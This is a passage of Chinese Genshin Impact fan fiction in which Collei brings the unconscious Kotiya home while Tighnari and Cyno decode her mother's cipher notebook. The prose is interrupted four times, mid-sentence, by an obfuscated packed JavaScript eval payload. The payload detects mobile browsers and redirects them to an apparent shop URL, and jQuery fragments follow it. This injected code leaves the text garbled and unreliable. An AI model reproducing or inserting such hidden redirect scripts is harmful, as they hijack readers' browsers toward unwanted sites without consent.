第二封信是给课题相关的队友的,信中附上自己得到的数据及核验的结果,礼貌地说明以后她大概不能抽出时间来一起撰写论文,论文的撰写和发表就要麻烦他们了。当然,柯莱在信中说明他们可以把自己的名字放在署名的末端,她不会介意。 信都写完了,接下来就是寄快件的事情了。有珂缇娅在,她们回去的速度不可能快,万一把珂缇娅给摔了呢。那么,希望收到信的提纳里师父能早做准备吧。这么想着,柯莱甩甩因长时间写信酸痛的手臂,从旁边的盘子里捏起一个秘香肉团塞进嘴里,好安抚自己那空荡的胃囊。凉掉的肉末团子还带着鲜香的气息,口感细腻而绵软,柯莱无心品尝,只是机械地进食,味同嚼蜡。 “你会好起来的。”似乎从何坎蒂丝的交谈中平复了心情的柯莱目光温柔地注视床上的女孩说道。 “你一定会好起来的。”柯莱伸出手抚上珂缇娅的脸庞,缓缓地重复,温柔又专注的目光如蛇般眷恋地缠绕着闭上眼眸的女孩。 - 阿如村的医生神情为难,他不知道自己是不是要把话说的那么明白,可床上的这孩子…… 分明只是吊着一口气啊。 以这孩子的身体情况,倒不如说现在还活着就是个奇迹。医生在心里做出点评,嘴上只是委婉地建议这孩子的家人早点准备好后事。 说出这话的时候医生都做好被骂的准备了,虽然须弥确实崇尚理性,虽然他做出的结论是基于他的判断并无私心,可人终归是人,是有着七情六欲的人。当家属得知这样的消息时,意识到自己的亲人、自己熟悉的人要离去时,不愿意接受也很正常。 如果骂他两句能让这些亲属更好受的话,他无所谓。医生冷淡地想。 出乎意料、或者说也没这么出乎意料,绿发少女很平静地接受了他的建议并对他道谢,其中还提到她们之后会去找提纳里求助、争取哪怕一丝可能的。 提纳里啊,医生恍然,如果是那位因求知而得到神明的瞥视的生论派享有盛名的少年天才的话,说不定真的能找到那一丝存活的可能性呢? 只不过啊,假如最后还是没能成功,希望这个绿色头发的孩子能从黑发孩子离世的悲痛中走出来吧。毕竟,世界上的奇迹没有那么多,日子也总还要过。 下完诊断要离开的医生走前回过头,看到绿发的少女伸出手在给床上的黑发孩子细致地打理头发,不由摇头叹息。 ……还是孩子啊。 即便见惯了死别,这位从医多年的医生还是会为因病痛死去的人难过。 * 柯莱向坎蒂丝提出了辞别。 坎蒂丝能够理解,发生了这种事情,柯莱想找点回去找提纳里给珂缇娅看看是怎么回事也是正常的。 于是,坎蒂丝在阿如村的门口送别了柯莱,还有被放在驮兽车上的珂缇娅。分别前,坎蒂丝把一张纸递给了柯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15998699|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱:“这是阿如拌饭的菜谱。我看珂缇娅挺喜欢的,她醒了之后你可以按照上面的做法做给她吃。” 拿到菜谱的柯莱明显有些讶异,她原本是有找坎蒂丝要菜谱的想法的,只是一时也忘了。柯莱知道,这份菜谱不只是菜谱,更是一份心意,一份相信珂缇娅会醒过来的、诚挚的心意。因此,柯莱对坎蒂丝露出微笑:“嗯,谢谢。那我们先走了。”坎蒂丝点头。 柯莱便驱车离开。不知是不是坎蒂丝的错觉,在柯莱转身的时候,她好像从柯莱的脸上看到一丝泪意。 驮兽走动的声音响起,此时日暮西斜,太阳快要从地平线上消失了,周围的一切都蒙上了朦胧的昏黄。坎蒂丝目送着柯莱和驮兽车的背影远去,一点点地被地平线吞没,直至再也不见。 * 提纳里不敢相信自己的眼睛。 柯莱的来信上写了什么?她们不是只是去度假的吗?他只是这次外出没跟上去就发生了这样的事?! 提纳里想质疑自己得出的结论,可是柯莱写了整整三大页、连她们吃了什么说了什么都写上去的信件上交代得清清楚楚。 忽然倒下的珂缇娅,闭上双眼的珂缇娅,肌肉变软、全身器官都在缓慢走向衰竭的珂缇娅……提纳里觉得自己的脑袋里塞满了谜团。 会是珂缇娅身体里的死域气息引起的吗?提纳里第一个想起这个,可小吉祥草王说过没问题的,而且随着年龄增长珂缇娅身上的死域气息也越来越淡,到现在差不多已经消失了。会是沙漠中引起的某些可能吗?信仰赤王的沙漠埋藏着许多遗迹,知论派的珐露珊前辈曾经就因误入某个遗迹而被困百年;那么,会和这些遗迹有关吗?还是只是珂缇娅的身体本身出了问题,患上某种罕见的病…… 这位一手养育了两个孩子的少年天才拿起羽毛笔点了点墨水,在纸上写下一个又一个的猜想。 仅从柯莱的信上能得出的信息还是太少了,无法彻底还原珂缇娅此刻的情况。提纳里现在要做的就是根据那些宝贵的信息推测出更多的可能并针对这些可能展开验证和应对方法、治疗措施。 还没见到病患就开始写治疗措施是一种极为大胆的行为:就连普通的感冒都分为风寒型和风热型,没看过病人的真实情况很可能一不小心加重病情;更别提假如这真的是某种罕见的病,它的病变原理和影响全都是未知,没观测过具体情况就匆忙下笔无疑会写出很多与实际相悖的情况,即便运气爆棚、真的吻合了某一种可能,那也浪费了思考其他可能的心力。 观察病人再耗时间能耗多少的时间?假想与现实哪怕有一丝偏移都可能会产生谬以千里的结果。一般情况下提纳里并不会这样做。 只是万一,真的和列出的某一种可能完全撞上了呢?哪怕没有成功,能更快地排除某些可能也是好的。万一只是差了那么一点,刚好在得出病情的解决方案时珂缇娅就撑不住了呢? 有的时候,你想要挽留什么,那就得和时间赛跑。 现在,在珂缇娅和柯莱还没有回来的这段时间里,为了挽留珂缇娅的生命,提纳里要和时间赛跑了。 23.须弥篇-23 明亮的摇曳着火花的油灯照亮了提纳里奋笔疾书的身影。 和时间赛跑的比赛能赢吗?提纳里不知道这个问题的答案。他只是目光坚定地看着自己写下的一个个猜想,一个个列出验证的可能方法和原因估测。 做了总比没做好。比起失败后再来懊悔为什么当时不够努力不够认真,提纳里从学生年代起就是足够专注的能严格按照自己的计划执行的人。 * 提纳里“唰唰”落笔的时候,另一边,智慧宫里的纳西妲睁开青草般翠绿的眼睛,幼态的脸上没有笑意,她喃喃着:“已经到这个时候了吗……” 已经到了,珂缇娅撑不下去的时候了吗。 她不是个合格的神明,纳西妲想,她欺骗了自己的子民。 为了一位子民去欺骗另一位子民是正确的吗?子民和子民之间在神明的心里是否有高下之分?后者纳西妲可以肯定地说没有,因为对她来说那些都是她的子民,都是她需要予以庇护的存在,她会努力成为一名符合众人期望的神,努力成为须弥的神明应有的模样。 可对于前者,被誉为“智慧之神”的小吉祥草王也无从得知这个问题的答案,手心手背都是肉。 纳西妲的眼前一时浮现出自己在梦里告诉提纳里不用为珂缇娅担心之后,提纳里眉眼柔和的样子,一时浮现出那位自枫丹来的素论派学者豪爽的笑容。 那是珂缇娅的母亲,也是一个原本不信神明的人。 “我相信神明的存在,但我不认为神明理应对人负有责任。” “我见过枫丹的水神芙宁娜大人,可芙宁娜大人也无法解答我的困惑。正如人会有人的极限,神同样会有神的极限。” “如果什么都要依靠神明的话,人还不如直接退化成膨膨兽,躺在海岸线上用鳍拍拍肚皮就能度过一天。” 这是那位眉眼姝丽又神色冷淡的女人的原话,也是她从枫丹前往须弥成为素论派学生的起因。 就是这样的一个人,这样一个自信乃至于自傲到相信自己能在某些方面超越神明的人,却会为了能让自己的女儿平安降生而用前所未有的虔诚态度祈求神明。 她是幸运的,即便此前不信神明,她的祈求声仍能传到神明的耳中;她是不幸的,神明能让她的女儿来到这个世界,却无法让她的女儿免受死域的影响。 死域是如何消除的?这个问题可能只有那位足迹踏遍七国的旅行者能够回答:那是以须弥的旧神、小吉祥草王的前任神明大慈树王为代价,通过将她的痕迹尽数抹除、让提瓦特遗忘她换来的死域不再蔓延。 原想到室外走走、一不小心误入死域动了胎气的女人最后血淋淋地捧出一个女婴,一个全身都布着黑色的诡异花纹的女婴。 当时分出意识的小吉祥草王在旁边怯生生地以为自己要因为自己的弱小挨骂了,她以为看到这样的孩子,这位母亲会咒骂自己让她的孩子以这样的面貌降生。但是没有。 这位在生产过程中痛到几度昏厥的母亲虚弱地抱住这个女婴,怜爱地在她的额头上落下一吻,就像是完全没看到她身上的诡异花纹一样。出乎意料地,纳西妲收到了来自这位母亲平静的诚挚感谢。 这就是“母亲”吗?由世界树上最为纯洁的枝丫变成的小吉祥草王眨了眨眼睛,逐渐体会到这个词的沉重分量。这是无法通过虚空终端获得的知识,是无法通过书本获得的感受。 纳西妲对这位素论派学者产生了好奇。 - 素论派是研究元素的学派,炼金术是它的分支。在某个距离须弥遥远的国家,有位炼金术士让炼金术以“创生之法”而发扬光大。在他的手中,枯枝亦可化作白鸽。 好巧不巧,作为素论派的翘楚,珂缇娅的母亲同样对炼金术有那么一点自己的理解,她把炼金术视作让她意志延伸的工具,她想做的总能实现。 看,即便遭遇死域,她的女儿不还是同样平安降生了吗? 她想要的,总会实现。这位素论派翘楚带有傲气又略有嘲弄地想。 为了珂缇娅不受到他人的异样目光,这位母亲把自己通过炼金术的制造的取材于野外的药剂涂遍自己女儿的全身,成功地把那些黑色的纹路隐于婴儿的皮肉之下。 怀中的婴儿呼吸平稳,这动静没能让她从睡梦中醒来。 “从今天起,你的名字就叫珂缇娅了。”女人温和地看着睡得香喷喷的婴儿。 * 素论派学者以为小吉祥草王让珂缇娅降生、自己让花纹消失之后,珂缇娅就能平平安安地度过这辈子——她检查过珂缇娅的身体,虽然因为还小很多检查都不能做,但现有的数据都表明并无大碍;就算之后可能会有什么麻烦,她相信自己能够解决。她相信自己的知识,也同样相信自己手中的大剑。 就在这时,这位母亲得到了小吉祥草王的托梦。她起初有几份惊奇,以为她和小吉祥草王关系由她拜托这位神明帮忙为开始、以她此后每日供奉这位神明做结束,没想到还会有交集。 然而,得知小吉祥草王的来意,她收敛了自己的神情,似花瓣娇嫩的嘴唇抿成冷硬的直线,秋水般含情的眼眸如同暗藏漩涡的平静海面。 什么叫“你的女儿珂缇娅,可能活不到成年”?作为一名学者,她分得清这个词什么时候是表示可能性,什么时候是对事实的一种委婉说法。 这位母亲从小吉祥草王的口中听到了原因。简单来说就是死域之力和草神之力会在珂缇娅的体内无休止地争斗,这种争斗会潜移默化地损害珂缇娅的身体。 让它们分出胜负停止争斗也不行,死域之力占上风会直接侵蚀珂缇娅的身体;草神之力占上风会让珂缇娅的身体活化,让她的细胞加速分裂、分化和死亡,相当于压榨出珂缇娅的每一丝潜能,以珂缇娅的生命作为燃料熊熊燃烧。当火焰熄灭,作为燃料的珂缇娅便走到了人生的尽头,在那个时候,珂缇娅会以全身加速老化、器官多处衰竭告别人间。 “很抱歉,是我的能力不够。进入珂缇娅体内的那部分力量已经不受我的控制了,它就像滴入油锅的水,同时又能从空气中攫取水分。”纳西妲垂下眼眸,脸上是再明显不过的歉意。 纳西妲没有预料到这样的结果,作为一个被囚禁的神明,她能接触到的关于死域的信息太少了。她以为自己拯救一条生命,现在看来却像是让珂缇娅来到世界上后把她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16009184|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推向了既定的死亡。 珂缇娅同样是她的子民,纳西妲的眼里溢满悲伤。 她好像,总是什么都做不好。连自己的子民都无法庇护好。 悲伤的纳西妲头上多了一只大手,那只手动作轻缓地揉了揉她的脑袋。纳西妲抬起头,懵懵地看着做出这番动作的女人:“欸?” “不必担心,我会找到解决办法的。”女人一边口吻肯定地说,一边在心里唾弃自己的行为。没办法,有了珂缇娅之后,她就很难忍受小女孩在自己面前难过了。 外表年幼的几百岁神明也被她归到了孩子一列。 “既然是两股力量在体内争斗引起的,那把这两股力量移出来就好。”与其怪罪纳西妲,不如说她还要感谢纳西妲特意来告诉自己这件事情,毕竟一开始她也没有发现,到时被打个措手不及就麻烦了。 “或者,削弱两股力量的强度?在珂缇娅的身体里把它们都消灭。”这位母亲若有所思。 对于她“消灭力量”的猜想,纳西妲摇了摇头:“削弱的话,很难做到。珂缇娅体内的死域之力一旦被削减,它会自动蚕食珂缇娅的身体来弥补自己。”纳西妲不是没见过被死域影响的人,比如说魔麟病的患者,但珂缇娅是特别的那个。 她体内的死域之力尤其顽固,是因为经受死域后出生?还是因为草神之力的刺激?珂缇娅这样的经历太少见了。不是谁都能经受死域之后还能撑到草神之力来平衡的,也不是谁都能在这种所谓的平衡中支撑下来的。 珂缇娅是个很了不起的孩子。纳西妲真心实意地想。 “这样。那就把它们移出来好了。”女人不可置否:“在珂缇娅走到生命衰弱的转折点之前,我会找到办法的。”凡事都有量变与质变的过程,从这位神明的口中也能推断出来。在珂缇娅的身体要“质变”之前,在达到那个不可逆的节点之前,一切都还来得及。 “啊,还有一件事情要拜托你,小吉祥草王大人。”这位母亲像是突然想起了什么,口中叫着“小吉祥草王大人”却听不出多少恭敬的意味,更像是一个普通的称谓:“请不要把珂缇娅的事情告诉任何人。如果有人问起的话,”她沉吟,“就说‘一切都好’吧。” “‘任何人’都不可以吗?”纳西妲不解:“要是你遭遇意外了呢?”就纳西妲观察,这位学者七天里就遭遇了不下三次的意外,比如忽然被卷入镀金旅团的战斗力,虽然被她扛着大剑把两边都给锤了;比如走在路上忽然掉进坑里,脑袋要砸到的地方刚好有块石头之类的。 听到纳西妲的话,这位刚强的母亲笑起来,如同怒放的玫瑰:“任何人都不可以哦。要是我出了意外,嗯……就让珂缇娅怪我好了,怪我这个不负责任的母亲。”即便是死,她不会把自己的孩子交出去的。 相信知道这个消息的须弥学者会好好对待珂缇娅给珂缇娅治病、而不是把珂缇娅当做什么试验品?这位在教令院中见得多了的学者嗤之以鼻,那还不如相信珂缇娅的情况能自愈。 如果真有那样的情况发生……希望珂缇娅能在她有限的人生中不留遗憾。希望珂缇娅能不受他人的桎梏、成长为珂缇娅自己希望的模样。 24.须弥篇-24 珂缇娅的母亲没有愧对她自己说的话。 虽然没能够找到转移珂缇娅体内两股力量的方法,但她为珂缇娅带来了一个快乐的没有忧愁的童年。 在研究的过程中,这位学者发现转移体内的力量这种思路是切实可行的,只是需要某种特殊的媒介。什么东西是能够容纳死域之力和草神之力流动的呢?还要找能单方面接收与存储这些力量的容器。 珂缇娅不会知道,她所以为的跟着父亲四处观星的过往还藏着这样的秘密。 如果能有足够的时间,这位能力甚至能去争一争素论派贤者乃至于大贤者的母亲未必不能找到她理想中的媒介与容器。 可惜,她没有那么多的时间,珂缇娅没有那么多的时间。 一切的一切被掩没在那场伤亡只有两个人的交通意外之中,只有房间里用密语写就的笔记本还记录着什么。 * 柯莱一夜没合眼。 其实一夜不睡也没什么,道成林的巡林生活中未尝没有夜晚的巡逻,不说这个还有她缩在被窝里熬夜看稻妻轻小说的时光。只是心境不一样,于是这一夜也变得格外漫长。 太阳快要升起了。天幕破晓,周围变得亮堂起来。柯莱看着车上合眼的珂缇娅,不知道是不是她的疑心,她觉得珂缇娅的脸色和嘴唇更白了。 俯下身子贴在珂缇娅的胸口,感受这具小小的身体中微弱的起伏和仍在跳动的心脏,“还好,还好……”柯莱近乎神经质地呢喃:“一定会把你完好无损地带回家的。” 给驮兽喂过草料之后,柯莱驱赶驮兽向着化城郭的方向前进。这时柯莱不由庆幸自己在教令院的时候没有只待在阿弥利多学院里而是有经常出来做各种课题,走了很多的路,所以现在才能知道让驮兽走哪条路的路线最短。 我们很快就回到家了,珂缇娅。 - 进入雨林又不知走了多久,驮兽忽然停下了脚步。 有人拦下了路。阳光均匀地撒在他们的皮肤上,有的扛着斧头,有的头上系着红丝绸手里拿着机弩,有的戴了遮蔽一只眼睛的黑色眼罩,有的红绸绑在眼睛上,全身包的严严实实,手上拎着两把特殊的刀身带有弧度与纹路的刀。 “打劫,交出值钱的货。”他们言简意赅。话没必要说太多,不想受苦就交钱。不然的话……他们身上的肌肉不是白长的,武器也没长眼睛。 来势汹汹、来者不善啊。柯莱感慨。 眼下的形势分明对这身形并不强壮的少女不妙,她却好像什么也没感觉到一样,平静地环视了一圈即将呈包围状朝她逼近的镀金旅团,叹了一口气:“我还是很赶时间的。”那双紫色的眼睛里没有丝毫畏惧:“既然这样,你们一起上吧。” 话音刚落,柯莱手执飞叶轮欺身而上,不如他人高大的身躯反而显得更加灵巧,如同鬼魅。 忽然出现在一个大块头的身边,“邦”的一声,大块头倒下了。 眨眼间多个人的攻击近在眼前,柯莱掂量了一下收起了飞叶轮,反手抽出身后的弓箭,以弓身挡下了所有的攻击。 一寸长,一寸强;一寸短,一寸险。 镀金旅团中的柯莱如同起舞一般,动作流畅又自然。 - 眼见自己这边快要落败,一个镀金猎手咬咬牙,趁着自己的同伴还在被毒打,想着摸到驮兽拉的车上面顺点之前的东西回回血。 真是见了鬼了,他们还以为这个少女瘦瘦弱弱的是个软柿子,又一个人拉着一辆驮兽车,车上一定有重要的东西,不重要也没必要用车来拉。 没想到是个硬茬子。他低声咒骂。 “我劝你不要。不然,我不能保证你们还能活着回去。”少女冷静的声音响起。听到声音的镀金猎手一惊,回过头,正好对上绿发少女搭在弓身上已然拉开弓蓄势待发的箭矢,还有那双冷冽的紫色眼眸。 她说的是真的,镀金猎手深刻地意识到这一点。 看着倒下的同伴,他最终放下了武器,举起了双手。 好在这位镀金猎手没有勇于尝试,没有想着看看她是不是真的敢下杀手,也就没有见识到柯莱瞬发的箭矢。 再怎么样,柯莱也是个练习了多年的弓箭手。比起她拿飞叶轮或者是把弓箭拿在手上当作长剑一样使用,她抬起弓箭拉开弓弦的时候往往是最后通牒,无可转圜。 按她说的做,或者死。 “我说了我赶时间。” * 还好还好,应付这伙人没有花太多时间。柯莱拍拍胸口长舒一口气,驱使着驮兽继续前行。 再怎么说,柯莱也还是个刚成年没多久的少女,面对意料之外的视作亲人的对象忽然倒下的情形,再怎么告诉自己要冷静,内心依然像是有只失去了幼崽的母兽在泣血咆哮。这伙人撞上来反倒成了绝佳的出气筒,让柯莱发热的大脑稍稍降温,变得冷静下来。 似乎是被刚才的打斗惊到,重新赶路的驮兽一声不吭加快了速度。 快了,再走一段路就能看到化城郭的影子了。提纳里师父一定在等着她们吧。 - 被柯莱惦念的提纳里此时不在化城郭,他循着小吉祥草王的指引来到须弥城,站在了一间名义上已经属于珂缇娅的房子前。 得益于提纳里和柯莱会定期来修缮这座房子,它看上去并不落败,栅栏里盛开的须弥蔷薇与帕蒂沙兰交相辉映,紫白一片。 抬手推开紧锁的大门,提纳里目标明确地走向珂缇娅母亲的工作间,和之前看到的一样,一个大大的工作台,工作台上各种各样的瓶瓶罐罐似乎按照某种规律排列;旁边是个占据了一整面墙的书柜,许多书籍和笔记摆放于此。 提纳里的目光在那些侧封没有名字的笔记上掠过,很快找出了一本封面写着“珂缇娅”的笔记本。他把这本外表普通到和其他的笔记本格格不入的笔记本取出,看向这本笔记本的目光探究:就是这样的一本本子,记录了他想找到的答案吗? 不过现在,没有更多的时间给他犹豫了。 提纳里翻开本子,顷刻陷入了沉默。 ——不是、小吉祥草王也没说这全是密文写的啊? - 图案与符号并存、比起笔记更像是一本图画书,没有规规矩矩的自上而下地书写,充满了轻描淡写的随意。 有的地方两个图案就占据了一整页,有的地方又挤得密密麻麻,提纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16018485|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里看得头晕眼花,尾巴毛都垂了下来。 不行,不能这样下去了,意识到自己看的头昏脑涨、还半点搞不懂笔记中意思的提纳里回过神,他得找个外援才行。 要能看懂这些密文的,还要能对这件事守口如瓶的,提纳里沉思,还真的找出了这么一个人。接下来,就要看对方有没有空了。 * 赛诺,令犯罪者闻风丧胆的大风纪官,此时正绝赞休假,准备外出找牌友打七圣召唤中。 他带上自己的狼头帽,拿上自己的七圣召唤牌,须弥城里没有专门给人打七圣召唤的地方,他可以翻山越海去打七圣召唤。这么想着,赛诺的目光坚定。任何艰难险阻都不能撼动他打七圣召唤的步伐,握拳,因为现在他是冒(帽)险(显)家赛诺。 冒险家就是能够克服一切困难的! 赛诺愉快地准备出门,恰好和自己的好友提纳里迎面相撞。 赛诺:? 对于提纳里的登门拜访感到困惑,但看到提纳里风尘仆仆、怀里抱着一本笔记本还满脸疲惫的样子,赛诺还是让开了身子,让自己的朋友能够进来。 “我需要你的帮助,赛诺。珂缇娅现在陷入了昏迷,这本笔记本中很有可能记录了能让珂缇娅醒来的信息。我需要你解读这本笔记中的内容。”没有多余的寒暄,提纳里直奔主题,把放到桌上的笔记本推向赛诺。 是的,提纳里想到的能看懂这本笔记本的人就是赛诺。恰好和珂缇娅的母亲同属于素论派,恰好也是个天才,恰好有空、咳咳、这件事之后他可以和赛诺打十把七圣召唤的。虽说涉及语言的地方难免会想起知论派,而据他所知珐露珊前辈正忙着一个课题、艾尔海森又太捉摸不透了,他拿不准这位前代理大贤者的态度。 再加上提纳里看着笔记本,忽然间回想起曾经似乎在赛诺的某些笔记上看到类似的符号,有的地方可能有出入、但也许大差不差? 实在不行再找其他的人帮忙。无论如何,这本笔记本中关于珂缇娅的信息他一定要知道。 他会尽自己最大的努力去留下珂缇娅的生命。 - 化城郭里。 提纳里写完了自己想到的可能性,但还是太苍白了。他看着自己写下的东西皱起眉头,真的会有用吗?温和的怕起不到作用,药效烈急的怕适得其反,而相关的病例根本没有多少。 死域的还有一点经验,死域加草神之力的不太常见,表现形式是全身器官衰竭的更是前所未见。 停下笔后,一阵无力感反而涌上心头。 提纳里闭上双眼,自己写下的蝌蚪样的文字在他的脑海中旋转、跳跃,接着一条条的消失不见。 要怎么做才能找到对应的方法呢? 要怎么做才能留下你呢,珂缇娅? 恍惚之间,半梦半醒的提纳里得到了小草神的喻示,那位神明说,去吧,在须弥城里珂缇娅曾经的住所中,她母亲的工作间里会有你需要的信息。 提纳里瞬间惊醒,匆匆地出门。他没有问神明为什么这和她之前说的不一样,没有问神明从哪里得知的这些信息。 他只是知道,这或许是他能留下珂缇娅的最大可能。 25.须弥篇-25 自己的好朋友上门求助,求助的内容是救别人的命,这个别人还是自己已逝前辈的孩子、自己也对这个孩子很有好感? 听到提纳里寥寥几句却信息量很大的话,赛诺严肃了神情没有多问就答应了下来,翻开了那本笔记本。 一刻都来不及为七圣召唤感到失落,现在到场的是肩负了好友信任兼救人大任的解密家赛诺——! 打开本子的时候,嗯,是熟悉的字迹,入眼的也是熟悉的符号,是前辈自己发明的符号体系。赛诺下意识想要套用之前给前辈整理笔记的经验,结果发现虽然这套语言体系整体看上去没有太大变化,但是细枝末节处有所出入,应该是前辈对它又做了几次变形。 觉得他在教令院时看到的那套符号就已经足够复杂的赛诺:…… 赛诺默默拿来纸笔开始计算。托这位前辈的福,素论派再冷僻的知识赛诺都有所了解,现在也还没有忘记。 当年在悉般多摩学院,这位前辈就是一个无比出众的人物。长得好看、态度冷淡还能力出众,这样的人往往会引起大家的讨论。有人抱怨她的态度恶劣,跟她请教都得不到回应、得哪怕到回应想多问两句人就直接走掉什么的。不过据赛诺所知,来自沙漠的学者对这位前辈的态度普遍还挺好的,因为这位前辈一视同仁,不会因为出身是雨林或是沙漠就区别对待。 她就是那种,很平等地忽视所有能力不足还不自知跑到她面前摆弄的人。 - 赛诺对着笔记埋头苦思的时候,带着驮兽车回到化城郭的柯莱看着空荡荡的房间陷入沉思。 看着面前房门虚掩的屋子,柯莱的脑子里萌生了两个问题:第一,提纳里师父好像不在这里?第二,如果提纳里师父是自己离开的,那么为什么没有锁门?一种可能是提纳里师父只是短暂离开了,人就在附近;另一种可能是,提纳里师父被人绑架走了所以来不及锁门? 如果是后者的话……柯莱木着脸,先不说谁会并且有这个能力绑架走提纳里师父,那么现状就是她要救珂缇娅,还要去救提纳里师父。一个家里三个人,两个都倒下了,就剩她了。 恍惚间,柯莱幻视自己伏在岸边探着身子去捞河里的珂缇娅和提纳里师父。刚捞完一个另一个就莫名地又出现在河里,她捞啊捞,怎么捞也捞不到头。 ……好地狱。柯莱抬起手在自己眼前挥了挥,似是要挥去自己的那些设想。应、应该不至于这样的,说不定提纳里师父就是在附近呢。 “柯莱啊,你在找提纳里先生吗?”一个同样住在化城郭的婆婆看到柯莱站在屋前直发愣,好心地搭话:“如果是找提纳里先生的话,我看到他朝着须弥城的方向去了。” 这位婆婆在化城郭住了很多年,提纳里还没来之前就已经在这里了。对于年纪不大但是把化城郭和道成林的事物处理得井井有条的提纳里,大家都很敬佩,这位婆婆也不例外。不过由于年龄放在这儿,婆婆看提纳里就有种看家里争气小辈的亲切感,柯莱和珂缇娅则是乖巧又腼腆的孙辈。 都是好孩子啊,婆婆感叹。对了,怎么不见珂缇娅,不是说她跟着柯莱去沙漠玩了吗?关于那个黑发的盲眼小女孩婆婆也是印象深刻,太安静了,小孩子闹腾一些才好,皮实。说是太安静了,心肠是还是好的。这孩子很有礼貌,有时还会给维摩庄的小孩子送玩具。 这位婆婆睁着浑浊的双眼透过老花镜片四下寻找珂缇娅的身影,最后视线聚焦在柯莱身边驮兽拉着的车上。想来多半又是柯莱宠孩子给孩子叫的车吧,婆婆摇头。 也好、也好,儿孙自有儿孙福。比起子女争成一团,还是这样和和美美的好。婆婆很快想开了。说到底,到了她这个年纪,也没什么是想不开的了。不管怎样,能健健康康长大就好。 柯莱自然不知道面前佝偻着背的婆婆在想什么,她也不可能见一个人就说“啊!你知道我家珂缇娅昏过去到现在都没有醒来吗?”,他们没有这个闲工夫。柯莱只是谢过婆婆,接着决定先把珂缇娅抱进去。 绿发少女弯下腰,从车里抱出似乎是睡着了的小女孩,熟门熟路地把她放到屋里的小床上。 这张小床柯莱并不陌生,曾经的她也躺在上面忍受着魔麟病的痛苦。现在,轮到珂缇娅了。就像她最后从魔麟病中痊愈了一样,柯莱相信珂缇娅一定也会同样好起来的。 被柯莱抱到床上的小女孩睡颜依然恬静,只是脸色看上去更加苍白了。柯莱心疼地探出手摸了摸珂缇娅消减了不少的脸庞,垂下眼眸撬开珂缇娅的牙关,一手托着珂缇娅的后背让她上半身仰起、一手执着装了肉汁和果蔬汁的碗递到珂缇娅的嘴边微微倾斜。 面对口里被灌进来的还温热着的汤汁,珂缇娅很温顺地咽了下去,依旧没醒。 - 这样下去不行,柯莱这样想到。 诚然,珂缇娅现在还能吞咽,但是能喂进去的也只有一些汁水,是远远不够珂缇娅还在长身体的需求的。 要尽快找到让珂缇娅醒来的方法才行。 说起来,要怎么和师父会合呢? 从婆婆那里得知提纳里师父似乎前往须弥城的消息,柯莱相信提纳里师父一定是出于救珂缇娅的心才跑过去的。那么,她要赶到须弥城去找提纳里师父吗? 柯莱有些为难。珂缇娅现在昏迷不醒,让她把珂缇娅一个人放在这里她不放心。再说了,去须弥城也不一定能找到提纳里师父,婆婆只是说他朝着须弥城的方向去了,也有可能是采摘路上的某些植物,目的地不一定就是须弥城。 * 在柯莱纠结的时候,提纳里抱着珂缇娅母亲的笔记本和赛诺的译本风尘仆仆地回来了。 “柯莱,我们找到让珂缇娅醒来的办法了。”提纳里沉稳地开口,视线掠过小床上躺着的珂缇娅,又掠过柯莱眼下的青黑。他知道这种情况下自己必须得稳住。 柯莱也很累了。总不能珂缇娅还没醒来又把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16029424|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个累垮吧。提纳里在心里发出一声叹息。 对于现在的柯莱,只需要知道珂缇娅能够醒过来就好了。看着柯莱瞬间变亮的眼睛,提纳里坚定了自己内心的想法。 想起赛诺解密后得到的内容,提纳里就觉得一阵无力。 应该怪他自己没有在收养珂缇娅之后就把珂缇娅母亲的工作间翻个底朝天翻出这本笔记本、再因为自己看不懂就立刻找人来解密吗? 先不说在须弥这个学术盛行的地方,随意乱翻别人的笔记是一件很过界的行为,把握不好边界很容易引发学术剽窃等学术不端的问题。单就是提纳里本身就不会乱翻别人房间,而珂缇娅父母留下的房子,在征询过珂缇娅的意见后他和柯莱一致决定将这栋房子保留下来,留给成年的珂缇娅继承。 这是珂缇娅的私人财产,是珂缇娅的父母留给她的在提瓦特最后的东西,提纳里不会乱动。 